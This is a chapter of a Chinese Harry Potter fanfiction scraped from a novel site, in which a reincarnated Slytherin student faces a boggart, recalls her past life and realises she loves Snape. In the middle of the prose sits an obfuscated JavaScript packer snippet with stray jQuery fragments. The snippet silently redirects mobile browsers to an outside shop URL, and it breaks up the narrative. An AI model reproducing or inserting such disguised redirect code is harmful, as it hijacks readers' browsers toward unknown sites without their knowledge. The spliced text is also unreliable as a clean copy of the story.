文趣网 > 都市小说 > [HP]暗流之下 > 59. 第 59 章
    下午的阳光从窗户斜斜地打进来,把她脚下的石板地面切成一格一格的明暗方块。她走在那些方块之间,脚步恢复了平稳,脑子里把刚才的整个过程重新过了一遍,然后在心里默默地给自己记了一笔:从今天开始,真正的大脑封闭术的练习也要提上日程了。

    博格特的问题暂时解决了。而她的恐惧,远比一只博格特能变成的任何东西都要复杂。

    下午,她坐在魔法史课堂上,手里攥着一支羽毛笔,面前的羊皮纸上摊开着大半节课的笔记,字迹从工整逐渐变得潦草,到后面只剩几道无意识的墨迹拖痕。宾斯教授的声音像远处的水流一样持续不断,吞吞吐吐地讲述着十七世纪妖精叛乱的时间线,但她一个字都没听进去。

    羽毛笔尖停在纸面上,墨水慢慢洇开成一团暗色的圆点,她的视线盯着那团墨迹,脑子里翻来覆去只有那一幕。

    博格特第一次读出的画面完全出乎她的意料,她本以为柜门打开后会看到那个没有鼻子、蛇脸般的伏地魔,那才是她觉得自己最应该恐惧的东西,她甚至提前为那个画面做好了心理准备,但博格特没有给她预想中的答案。

    她从来没有想过,自己最恐惧的东西会是斯内普的死。她一直以为那是一种理性的担忧,一种基于“我知道剧情走向所以想改变”的责任感,就像一个人预见到朋友会出事,自然会产生阻止的念头。

    但刚才博格特把那个画面甩到她面前的时候,胸口那股猛然揪紧的痛感让她骗不了自己。那种痛太具体了,像一只手伸进她的肋骨之间,攥住了什么她从没正视过的东西。

    特雷西坐在她旁边,余光早就瞥见艾丽莎的羊皮纸上那行写到一半就断掉的句子和那团越来越大的墨点。她侧过头看了艾丽莎几眼,对方的脸色看起来还算正常,但眼神明显是空的,像一扇窗户后面的灯被关掉了。特雷西迟疑了片刻,然后用胳膊肘轻轻戳了戳艾丽莎的手臂。

    “嘿,”特雷西压低了声音,几乎是贴着桌面用气声说的,“宾斯教授刚才说十七世纪妖精叛乱总共打了几年?你记了没有?”

    艾丽莎被戳得一怔,下意识地转过头看她,眼神从一片朦胧里慢慢聚拢回来,像水底浮上来的气泡一样迟缓。“……什么?”

    特雷西没来得及再重复,因为同一时刻,隔了两个座位的德拉科也偏过了头。

    特雷西皱了皱眉,又用力戳了她一下,这次比刚才重了些:“艾丽莎,你魂丢了?”

    艾丽莎终于被戳醒了。她猛地甩了甩头,像要把脑子里那些画面从头顶甩出去一样,碎发打在脸颊上微微发痒。她用力眨了两下眼,低头看了一眼自己羊皮纸上那团洇开的墨点,发现它已经扩散成了一片不规则的暗色污渍,把下面几行字全都盖住了。

    “没事,”她低声说,语气里带着一种刻意提起来的轻快,像往一面松垮的帆布上重新撑上骨架,“刚才有点犯困了,你说什么?”

    “我说,”特雷西的眉毛拧着,显然并不完全相信“没事”这两个字,但她没有追问,只是压着声音重复了一遍,“宾斯教授说十七世纪妖精叛乱总共打了几年?”

    艾丽莎飞快地在脑子里搜了一圈。她没有听课,但已经读过的东西在这时候像备用的锚一样稳稳浮上来。“……从1612年算的话,断断续续打了几十年,不是一次性打完的。”她翻了翻课本前面的内容,找到了一行小字,“这里写了,主要的冲突集中在1612到1650年左右。”

    特雷西半信半疑地看了一眼她的课本,又看了一眼宾斯教授正在黑板上缓慢写下的年份,发现和艾丽莎说的对得上,这才“嗯”了一声,低头在自己的羊皮纸上补了一笔。但她在落笔的同时又侧头看了一眼艾丽莎,目光在对方脸上逡巡了片刻,像是在判断那句“没事”的含水量。

    艾丽莎感觉到她的目光,主动偏过头朝她扯了一下嘴角,露出一个“真没事”的表情,然后低头重新抓起羽毛笔,把刚才那团墨点周围的脏污用清理咒稍稍处理了一下,在干净的地方重新写起笔记。她知道特雷西没有完全相信,但至少眼下不会再追问了。

    至于德拉科,她没有再往那个方向看。只是余光里隐约感觉到,他手里的羽毛笔似乎转得比刚才慢了一些。

    她把注意力重新摁回宾斯教授低沉迟缓的讲述里,强迫自己把每一个字听进去。妖精叛乱、地契纠纷、魔法部调解失效、冲突升级为武装对抗……这些名词一个一个地落进她的耳朵里,规规整整地排进她的笔记里,像一层细密的沙土覆盖在她心里刚刚被翻动过的那片地面上。表面看着平整了,但底下那些翻开的泥土还在那儿,混着被博格特扯出来的、她自己都没整理清楚的东西。

    周五的黑魔法防御课,上堂课没轮到格兰芬多只有包括哈利在内的三人了,卢平点了另外两人上台,但把哈利落下了,艾丽莎隔着一群脑袋望向哈利,毫不意外的看到了他眼底的失落,像是有人在他面前把一扇好不容易打开的窗户又关了回去。

    她从那张脸上移开视线,转头看向教室前方那只旧衣柜,看着柜门上的铜把手在日光下泛着温吞的光,心里出乎意料地平静。

    斯莱特林的学生一个个上去试。扎比尼、诺特、潘西、德拉科,每个人都完成得干脆利落,博格特在他们面前变出的东西从埃及木乃伊到家庭阴影再到摄魂怪,各不相同,但无一例外都在一声“滑稽滑稽”之后被变成了无害的滑稽模样,教室里时不时响起几声压不住的笑。

    轮到艾丽莎的时候,她站起来走到衣柜前面。

    卢平站在一旁,手插在旧袍子的口袋里,用一种平和的、不带任何评判的目光看着她,微微点了一下头。

    她握住魔杖,对准柜门。

    柜门打开,黑暗涌出,一条黑色的蛇从柜子里滑了出来,鳞片泛着冷光,三角形的头微微抬起,分叉的信子在空气中一下一下地抽动。一切和她在卢平办公室练习时一模一样。

    “滑稽滑稽。”艾丽莎的声音稳稳的,白光击中博格特,黑蛇在一阵噼啪声中变成了一条打着蝴蝶结的蛇形布条,软塌塌地躺在地板上,铃铛轻轻响了一下。

    “速速退回。”她把博格特推回衣柜,柜门砰地合上。

    卢平朝她赞许地点了点头:“不错的反应速度,安布罗斯小姐。斯莱特林加五分。”

    艾丽莎回到座位上,发现自己的心跳比想象中平稳。

    整堂课下来,斯莱特林一共有三个学生获得了加分,另外两个是扎比尼和克拉布——克拉布是最后一个上场的,他在面对博格特时变出的是一只巨大的、会飞的蟑螂,他喊“滑稽滑稽”的时候声音抖得厉害,但咒语生效了,卢平给了他五分。

    加起来一共十五分。

    下课铃响的时候,学生们三三两两地收拾东西往外走。

    艾丽莎把书本塞进书包,特雷西从她旁边挤过来,脸上的表情像是在南瓜汁里泡了一整夜的酸黄瓜。她拽了拽艾丽莎的袖子,等两个人走到走廊里稍微离人群远一些的位置,才压着声音气呼呼地开了口:“什么意思嘛!斯莱特林一共就加了十五分!十五分!他不记得上堂课给格兰芬多加了至少七、八十分吗?而且我们斯莱特林本来人就少,他就挑着加了三个,格兰芬多那边人人都捞到了分!”

    特雷西越说越激动,两只手在空中比划了一下,像是在丈量某种不公正的尺度。“我知道卢平教授出自格兰芬多学院,但这区别对待也太明显了吧?”

    艾丽莎走在她旁边,听着特雷西的抱怨,心里也觉得有些无奈。她在心里默默比较了一下两堂课的情况:格兰芬多那堂她全程坐在下面看着,卢平确实给分很大方,几乎每个人上台都能拿到五分,偶尔还有额外加分。而轮到斯莱特林的时候,卢平虽然态度客气、讲解同样细致,但加分的幅度明显收敛了,像是想起自己该“一碗水端平”了才在最后象征性地给了几分。

    艾丽莎叹了口气,声音不大,被走廊里嘈杂的脚步声和谈话声半淹没了。

    “我们又能说什么呢……”她说,语气里带着一种倦怠感,“毕竟加分这种事本来就看他心情。我们只能把分从其他课堂上补回来了……魔药课、变形课、魔咒课,我们好好表现,把这些分慢慢攒回来。”

    特雷西“哼”了一声,没有反驳,但也没有显得多服气,后来可能觉得生气也没有办法,她开始说起了下周的魔药课论文还差三英寸没写完的事。

    艾丽莎跟着她的节奏应和着,思绪却不自觉地又飘回了教室里那只衣柜,想起她第一次站在柜门前,斯内普捂住脖子、血从指缝间涌出来的样子……

    她把它往深处推了推,继续和特雷西并排走着,两个人的脚步声在走廊里一前一后地落着,高低交错,渐渐混进了下课的人潮里。

    接下来两周的魔药课,艾丽莎发现自己有些不对劲。

    她坐在教室偏后的位置,坩埚里的药剂正冒着浅紫色的蒸气,她握着搅拌棒的指节用力到微微发白,目光死死钉在自己面前的羊皮纸步骤上,连余光都不肯往讲台那边偏一偏。

    斯内普照常穿着那身黑色长袍在课桌之间巡视,偶尔停在一只坩埚前面,用那种低沉冷峭的声音指出某个步骤的错误,语气刻薄得像刀片刮过玻璃。每当他的袍角扫过艾丽莎这一排的时候,她就低下头,假装在仔细端详药液的颜色变化,把自己的视线牢牢锁在那一小锅翻涌的液体上。

    特雷西没有注意到什么。毕竟魔药课上谁都不敢多抬头,艾丽莎的专注在这个课堂上甚至显得格外正常。

    但艾丽莎自己知道,她是在躲。她怕自己的目光在那张脸上多停一秒,博格特留下的那个画面就会从记忆深处浮上来:血从指缝里渗出来,那双暗色的眼睛里的光一层一层地暗下去,嘴唇微张却只有血沫涌出来。而更让她害怕的是,她不知道自己在看到那张活生生的、完好的、会冷着脸训斥学生的脸时,心里涌上来的那股酸涩到底是什么。

    她花了几个晚上躺在四柱床上胡思乱想,帷幔拉拢着,床铺变成了一个小小的封闭空间,她的目光落在头顶深绿色的幔帐褶皱上,那些褶皱在烛火的映照下微微起伏,像某种缓慢流动的暗色液体。

    艾丽莎突然灵光一闪,难道这就是喜欢?

    前世的事情一桩一桩浮上来,像沉在水底的旧物件被搅动后慢悠悠地翻到了水面。

    她有且仅有一次恋爱经历是在大学,对方是隔壁系的男生,高高瘦瘦,笑起来露两颗虎牙,追了她将近三个月。那时候室友们都说“你看看人家多认真,你再不答应就过分了”,身边的朋友也都觉得他们很相配,说什么“大学不谈场恋爱就亏大了,毕业以后感情哪有这么纯粹”。

    她自己也觉得有道理,再加上对方确实是那种在人群里会被多看一眼的类型,于是点了头。

    但交往之后,她发现自己始终没法沉浸进去。对方热烈开朗,喜欢牵着她满校园逛,喜欢在宿舍楼下等半个小时就为了送一杯奶茶,而她每次接过奶茶道谢的时候,心里总是空落落的,像一个盘子被端到面前,里面什么也没有装。

    后来,那个男生说她太冷淡、说“你是不是根本不喜欢我”,她否认了。但心里有个声音在说:也许他说得对……

    不到两个月,他们分手了,分手的时候他对自己说“你让我觉得自己在跟一堵墙谈恋爱”,然后火速和一个热情活泼的女孩在一起了。

    她当时确实伤心了几天,但那种伤心里面有一种她后来才慢慢想明白的成分:与其说是在为失去他难过,不如说是在为自己“明明应该难过却好像没有那么难过”这件事情感到困惑。她的伤心恢复得很快,快到室友们都觉得不可思议,好像她只是得了一场小小的感冒,喝了两天热水就好了。

    后面那些年,她一直单着。身边追她的人不少,但她心里很清楚那些人最先看到的是什么——那张在人堆里算得上招摇的皮相。一旦她不回应他们的热情,大多数人坚持不过几周就会转向了别的目标。唯二坚持得久的,一个是高中同学,另一个是工作后认识的同行,两人都算不错,性格稳重,条件也匹配,但她就是没办法说服自己迈出那一步。每次对方约她出去,她坐在对面看着对方讲话的样子,心里想的都是:我到底在干什么?

    后来她干脆不想了。一个人过得很好,周末窝在沙发上看剧看书打游戏,工作日两头奔波把日程排满,偶尔和闺蜜约个饭听她们抱怨男朋友,她觉得这样很自在。家里催过几次相亲,她推不掉的时候也就去见见,权当完成一项社交任务。

    然而就是那个下午,她在去见相亲对象的路上,穿马路时听到刺耳的刹车声,轮胎摩擦地面的尖叫,然后是一阵剧烈的撞击感,再然后——她就醒在了查茨沃斯庄园的婴儿床上,窗外是英国常见的雾蒙蒙的天空,一个叫乔治亚娜的女人守在她床边,自称是她这一世的母亲 。

    过了一会儿,她又不禁想起来到这个世界的头几年,她钻进家族藏书室,从靠墙的第一排书架开始,一本一本地翻。她不知道自己在找什么,但总觉得应该有什么记录……关于“重生”、关于“另一个世界来的人”、关于“跨越两段人生的灵魂”……

    家族典籍、魔法史笔记、古老的手稿和羊皮卷,她花了将近两年的时间把所有可能有关的书都翻了一遍。

    什么也没找到。

    没有重生者的记载,没有破界者的案例,没有任何一条记录能解释她为什么会在另一个身体里醒来。那些书里只有魔法传承、神奇动物、占星术、草药学和家族谱系……干干净净地排列在书架上,对她的困惑毫无回应。

    草草翻完家族藏书室所有典籍的那天晚上她在床上想了一个问题:如果她再也回不去了,那前世的父母怎么办?

    那个念头让她胸口发闷。她想起母亲做的红烧排骨,想起父亲周末在家里阳台上摆弄那些植物的背影,想起自己上班出门前母亲总会追到门口问一句“晚上回来吃饭吗”。她躺在新世界的床上,盯着陌生的天花板,眼泪在眼眶里转了两圈又退回去了。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822142|211165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    然后她开始一项一项地清算。

    前世她工作稳定,收入尚可,从参加工作开始就额外给自己买了意外险,后来工资涨了还追加过几份其他的。如果她死了,赔付金额不算少,至少足够父母晚年衣食无忧。她还有一套小公寓,位置不算核心区,但在二线城市的房价下也算值些钱,父母处理掉之后也能有一笔进账。她平时没什么烧钱的爱好,存下来的钱都在银行账户里,密码她曾跟母亲提过一次,说“万一我有什么事你们别慌,账号密码我都写在抽屉里那个蓝色本子上了”,母亲当时瞪了她一眼说“呸呸呸说什么不吉利的话”,但那个蓝色本子确实一直放在她卧室抽屉的最上层。

    她把这些事情在脑子里列了一遍,像在做一份财务清算表,一项一项地对过去那些年她随手埋下的那些备用线头。算完之后她觉得稍微踏实了一点。至少她走了之后,父母在经济上不会太艰难。但感情上的空缺,她没有办法弥补了,她唯一能做的就是在心里一遍一遍地对他们说对不起。

    这辈子的家人对她非常好,这些好让她觉得自己又欠了一笔账。前世欠父母的,这辈子欠帕特里特、乔治亚娜和弗雷德里克的。渐渐长大,收获了家人满满的爱意,她觉得她不能只是“待在这里”而已。她得好好活着,得长成一个让他们骄傲的人,得把那些收到的爱好好接住了再还回去。

    所以她在心里跟远在另一个世界的父母说了一遍又一遍的“对不起”和“谢谢”,然后接受了“既来之则安之”这个道理,擦干流出来的眼泪,第二天继续去适应新世界的生活。她得把眼前的日子过好,把每一份给她的好都收进心里,再把它们变成活着的力气,这样才不算辜负。

    她躺回枕头上,把被子拉到下巴,脑子里那些关于前世的清算慢慢退潮了,剩下的是一片安静的水面。

    她在黑暗里睁着眼,想了一件事:从她觉得自己可能回不去的那天起,她给自己列过很多计划。

    第一步好好对待这辈子的家人,做好一个女儿、孙女。然后适应魔法世界的基本规则,慢慢积攒力量,积累知识,保护好自己的家人,找到可以挽救那些悲剧的方法。再往后,也许能试试找找去到另一个世界的路——哪怕希望渺茫,自己也想试一试。

    她把这些事情在心里排得整整齐齐,像在抽屉里分好类的物件,每一个格子都有它该放的东西。

    她想过自己要成为一个什么样的女巫、想过要怎么在战争来临的时候保住自己和身边的人、她甚至想过这辈子大概率会一直单身……尤其是在阿尔伯特出生后,连家族传承的问题都被解决了,她觉得自己可以心无旁骛地走学术这条路,把全部精力投进一个长久的研究方向:寻找世界之间的裂隙,寻找能够跨越两个世界的办法,寻找那条不知道是否存在的、回家的路……

    她以为这就是她未来几十年的全部轮廓了,安静、专注、独身。

    但她从来没有想过自己会喜欢上一个人,这件事完全不在她的计划里。它像一个不请自来的访客,没有敲门,没有预约,就这么从博格特打开的柜门里跨了出来——站在她面前,满身是血地看着她,让她无路可退。

    她在床上翻了个身,把脸埋进枕头里,被面的布料蹭着脸颊,带着皂角淡淡的清香。她想起前世曾在网络上看到一句话:“对一个人的心疼,是爱意萌发的标志”,当时她随手刷过去,没有多想。现在那句话自己浮了回来,像一块被水冲上岸的碎瓷片,边缘还带着湿漉漉的沙粒。

    她对斯内普的心疼、从前世听到那句“Look at me”的时候就开始了,跨越了两个世界,一直疼到博格特在她面前把他濒死的模样还原出来,疼到她站在原地几乎无法呼吸。

    她从床上坐起来,拉开帷幔一角,夜间的宿舍里只有壁炉的火还亮着,橙黄色的光在墙壁上跳动,特雷西在另一张床上均匀地呼吸。她赤着脚踩在石头地面上,走到窗边,看着黑湖水面上浮动的磷光,那点碎光忽明忽灭地飘着。

    她觉得自己是真的喜欢上斯内普了。不是对纸页上那个悲剧角色的共情,不是读者视角的怜悯,不是一个“知道剧情所以想拯救”的责任感。就是单纯的,作为一个站在他身边的人,对他产生了那种、她前世今生从未对除家人以外的任何人产生过的柔软。

    那个念头落定之后,她站在窗边,觉得胸口里那个空了很多年的盘子终于被放上了什么东西。它有些沉,边缘有些扎手,但它是真的。

    然后她转身回到床上,拉好帷幔,然后盯着幔帐顶部的深绿色褶皱,那些褶皱在壁炉火光里微微起伏,像一面很小很小的、深色的水面。她对着那面“水”轻轻说了一句、声音低到只有自己能听见:“……行吧。”

    语气里有种认命的、甚至带点自嘲的无奈。像一个人明明把房间收拾得整整齐齐,结果一转身发现角落里多了一个拆不了的旧箱子,搬不动也扔不掉,只能由着它摆在那里。

    她闭上眼睛,脑海里浮现出斯内普站在讲台前的样子,黑袍挺括,声音冷峭,面无表情地扫视全教室。她对着那个画面微微弯了一下嘴角,然后翻了个身,把被子拉到肩膀,在壁炉火光的余温里慢慢闭上了眼。

    刚进入十月的第一个周五,一只灰林鸮穿过城堡湿冷的空气,在早餐桌上精准地落在艾丽莎手边。它脚上绑着的信封是普通的羊皮纸,封口处压着一枚暗红色的蜡印,纹路简洁利落,像是被人随手按上去的。艾丽莎拆开信封的时候动作很轻,但展开信纸看到第一行字的瞬间,指尖还是顿了一下。

    安布罗斯小姐:

    请于今晚八时整至我办公室报到。

    ——西弗勒斯·斯内普

    没有抬头,没有落款日期,没有“是否方便”之类的措辞,一如既往地像一份简短的执行命令。

    艾丽莎把信纸对折塞进口袋,叉起一块煎蛋放进嘴里慢慢嚼着,脸上什么表情都没有,但脑子里已经炸开了一锅粥。

    接下来的一整天她都在心里翻来覆去地排查。

    是她上次的生死水颜色偏了一点点?可是斯内普每次路过她的坩埚时目光都是平平扫过的,并没有停留。是她近期在走廊上躲他的目光躲得太明显了?还是自己以为藏得很好,但其实那种回避在旁人看来一目了然?又或者……他读出了什么……某种微妙的不对劲?某种他自己也说不清但直觉捕捉到的异常?

    她在下午麻瓜研究课的空档里把近半个月所有的魔药课表现、走廊遇见、课堂互动全部过了一遍,像翻一本注满了批注的旧笔记本,每一个可能的疏漏都拿出来端详了片刻。

    她甚至短暂地想过,会不会是卢平发现了她偷偷用过他的办公室?但这个念头一冒出来就被她按回去了。如果卢平发现了,按理说应该会直接找她谈话,不会绕到斯内普那里去。更何况斯内普本人最讨厌被人私下进入办公室这种行径,如果真是因为这个,他信里的措辞绝不会像现在这样平静。

    她越想越觉得不安,但越不安越止不住地想……